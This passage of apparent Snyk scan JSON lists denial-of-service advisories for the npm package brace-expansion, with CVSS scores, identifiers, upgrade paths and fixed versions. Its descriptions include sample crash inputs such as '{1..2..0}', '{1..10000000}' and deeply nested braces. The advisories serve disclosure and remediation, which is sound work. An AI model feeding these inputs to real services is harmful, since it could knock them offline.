"2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from 